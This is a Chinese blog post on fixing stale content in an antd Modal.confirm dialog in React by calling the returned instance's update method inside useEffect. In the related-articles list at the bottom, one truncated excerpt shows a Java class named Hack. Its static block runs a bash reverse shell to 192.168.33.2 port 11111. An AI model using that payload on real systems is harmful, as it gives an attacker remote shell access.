react中使用Modal.confirm数据不更新的问题解决

news2024/11/23 13:41:09

在使用Modal.confirm的时候今天发现了个疑惑的问题,为什么我明明从新set了数据而页面视图没有变化,查了一下官方文档找到了答案,解决了这个问题,特意在这里留下痕迹。

import { Button, Col, Form, Input, Modal, Radio, Row, Select, Space, Spin } from 'antd'
let modal = null
export default function (props) {
    const [typeStr, settypeStr] = useState('')
    const [lookIPorAS, setlookIPorAS] = useState('ip')
    const returnModalFun = () => {
        return <Row className="m-b-10-px">
            <Col span={16} key={lookIPorAS}>
                <Radio.Group onChange={onchangeFun} value={lookIPorAS}>
                    <Radio value="ip">IP</Radio>
                    <Radio value="as">AS</Radio>
                </Radio.Group>
            </Col>
        </Row>
    }
    
   const onchangeFun = (e) => {
        setlookIPorAS(e.target.value)
    }
    
   const detailsFun = (item) => {
        setItemObj(item)
        const { type } = item
        if (type === '滥用') {
            // settypeStr('abuseString')
            modal = Modal.confirm({
                title: '请选择要查看的类型',
                content: returnModalFun(),
                onOk: () => {

                },
            })
        } else if (type === 'aaa') {
            settypeStr('type1')
            setVisible(true)

        } else if (type === 'bbb') {
            settypeStr('type2')
            setVisible(true)
        }
    }
    return (
   	null
    )
}

上述的代码是有问题的,据说会发生我上述的问题,数据并不能更新。
首先看一下官方的解释:
在这里插入图片描述
我们只需要在生成Modal的时候接收返回的实例对象
然后调用update方法即可更新数据

    useEffect(() => {
        modal && modal.update({
            title: '请选择要查看的类型',
            content:returnModalFun() ,
        });
    }, [lookIPorAS])

全部代码:

```javascript
import { Button, Col, Form, Input, Modal, Radio, Row, Select, Space, Spin } from 'antd'
let modal = null
export default function (props) {
    const [typeStr, settypeStr] = useState('')
    const [lookIPorAS, setlookIPorAS] = useState('ip')
    
    useEffect(() => {
        modal && modal.update({
            title: '请选择要查看的类型',
            content:returnModalFun() ,
        });
    }, [lookIPorAS])
    
    const returnModalFun = () => {
        return <Row className="m-b-10-px">
            <Col span={16} key={lookIPorAS}>
                <Radio.Group onChange={onchangeFun} value={lookIPorAS}>
                    <Radio value="ip">IP</Radio>
                    <Radio value="as">AS</Radio>
                </Radio.Group>
            </Col>
        </Row>
    }
    
   const onchangeFun = (e) => {
        setlookIPorAS(e.target.value)
    }
    
    const detailsFun = (item) => {
        const { type } = item
        if (type === '滥用') {
            // settypeStr('abuseString')
            modal = Modal.confirm({
                title: '请选择要查看的类型',
                content: returnModalFun(),
                onOk: () => {

                },
            })
        } else if (type === 'aaa') {
            settypeStr('type1')
            setVisible(true)

        } else if (type === 'bbb') {
            settypeStr('type2')
            setVisible(true)
        }
    }
    return (
   	null
    )
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974522.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示&#xff0c;但是最近一段时间&#xff0c;发现串口无法正常显示&#xff0c;试了很多办法都不行&#xff0c; 然后今天干好有点时间就刷了个机&#xff0c;然后居然就好了&#xff0c; 这就说明&#xff1a;Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312&#xff08;全称&#xff1a;中国国家标准GB2312-80字符集&#xff09;和UTF-8&#xff08;全称&#xff1a;Unicode Transformation Format 8-bit&#xff09;是两种常见的字符编码方案。它们分别用于对文本进行编码&#xff0c;以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力&#xff0c;比如transformer…

如何在mac上安装多版本python并配置PATH

摘要 mac 默认安装的python是 python3&#xff0c;但是如果我们需要其他python版本时&#xff0c;该怎么办呢&#xff1f; 例如&#xff1a;需要python2 版本&#xff0c;如果使用homebrew安装会提示没有python2。同时使用python --version 会发现commond not found。 所以本…

事务的优化

例子&#xff1a; 举例&#xff1a;假设我们有一个文件上传的uploadFile方法&#xff0c;在这个方法中我们会先执行上传一个文件到分布式文件系统中的方法addMediaFilesToMinIO( )&#xff0c;上传成功后执行文件资源数据入库的addMediaFilesToDb( ),那么这个时候事务应该加在哪…

2023年7月京东彩妆市场品牌销售排行榜(京东数据挖掘)

鲸参谋监测的京东平台7月份彩妆市场销售数据已出炉&#xff01; 鲸参谋数据显示&#xff0c;7月份彩妆市场整体呈现下滑趋势。从大盘数据可知&#xff0c;京东7月的销量将近350万&#xff0c;环比下滑约38%&#xff0c;同比下滑约22%&#xff1b;销售额为5.1亿&#xff0c;环比…

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

深度学习-4-二维目标检测-YOLOv5理论模型详解

YOLOv5理论模型详解 1.Yolov5四种网络模型 Yolov5官方代码中&#xff0c;给出的目标检测网络中一共有4个版本&#xff0c;分别是Yolov5s、Yolov5m、Yolov5l、Yolov5x四个模型。 YOLOv5系列的四个模型&#xff08;YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x&#xff09;在参数量和性…

什么是ETLT?他是新一代数据集成平台?

什么是ETLT&#xff1f; 在现代数据处理和分析的时代&#xff0c;数据集成是一个至关重要的环节。数据集成涉及将来自各种来源的数据合并、清洗、转换&#xff0c;并将其加载到数据仓库或分析平台以供进一步的处理和分析。传统上&#xff0c;数据集成有两种主要方法&#xff0…

港陆证券:股票中线投资?

股票是一种充溢变数的出资方法&#xff0c;长时刻出资与短期交易带来的危险与收益是不一样的&#xff0c;中线出资则是在两者之间的一种折中计划&#xff0c;既能取得必定的收益&#xff0c;又能削减必定的危险&#xff0c;而且比起短期操作&#xff0c;中线出资愈加符合快节奏…

线性表之-单向链表(无头)

目录 什么是单向链表 顺序表和链表的区别和联系 顺序表&#xff1a; 链表&#xff1a; 链表表示(单项)和实现 1.1 链表的概念及结构 1.2单链表(无头)的实现 所用文件 将有以下功能&#xff1a; 链表定义 创建新链表元素 尾插 头插 尾删 头删 查找-给一个节点的…

linux 进程隔离Namespace 学习

一、linux namespace 介绍 1.1、概念 Linux Namespace是Linux内核提供的一种机制&#xff0c;它用于隔离不同进程的资源视图&#xff0c;使得每个进程都拥有独立的资源空间&#xff0c;从而实现进程之间的隔离和资源管理。 Linux Namespace的设计目标是为了解决多个进程之间…

从零编写STM32H7的MDK SPI FLASH下载算法

从零编写STM32H7的MDK SPI FLASH下载算法 - 知乎 Part1前言 当我们要下载编译好的镜像到Flash时&#xff0c;首先要做的一步就是选择合适的Flash下载算法&#xff0c;而这个算法本身就是一个FLM文件&#xff1a; 代码既可以下载到内部flash&#xff0c;也可以下载到外部flash&…

pyinstaller打包exe运行闪退

这里写自定义目录标题 前言问题描述解决过程 前言 闪退原因可能有很多&#xff0c;这里记录下我遇到的问题&#xff0c;简单来说是dll调用错误导致的闪退&#xff0c;因为我的python用的是32位的&#xff0c;但是pyinstaller却是64位的&#xff0c;属于用conda的时候没注意。 …

【C#】C#调用进程打开一个exe程序

文章目录 一、过程二、效果总结 一、过程 新建WinForm程序&#xff0c;并写入代码&#xff0c;明确要调用的程序的绝对路径&#xff08;或相对路径&#xff09;下的exe文件。 调用代码&#xff1a; 这里我调用的另一个程序的路径是&#xff1a; F:\WindowsFormsApplication2…

Python自动化写作神器:告别语法拼写错误的秘诀

概要 写作是一种常见的沟通方式&#xff0c;无论是在学习、工作还是生活中&#xff0c;我们都需要用文字来表达自己的想法和观点。但是&#xff0c;写作并不是一件容易的事情&#xff0c;尤其是当我们使用非母语时&#xff0c;很容易出现语法和拼写错误&#xff0c;影响了文章…

javaScript:DOM中的CSS操作

目录 1.style 属性获取元素写在行间的样式 2.getComputedStyle(元素对象&#xff0c;null)可以获取元素的非行间样式 3.案例&#xff08;定义一个div和按钮&#xff0c;每点击一次按钮div宽度增加&#xff09; 效果预览图 代码实现 在 JavaScript 中&#xff0c;可以通过…

【8章】Spark编程基础(Python版)

课程资源&#xff1a;&#xff08;林子雨&#xff09;Spark编程基础(Python版)_哔哩哔哩_bilibili 第8章 Spark MLlib&#xff08;6节&#xff09; 机器学习算法库 &#xff08;一&#xff09;MLlib简介 1、机器学习 机器学习可以看做是一门人工智能的科学&#xff0c;该领…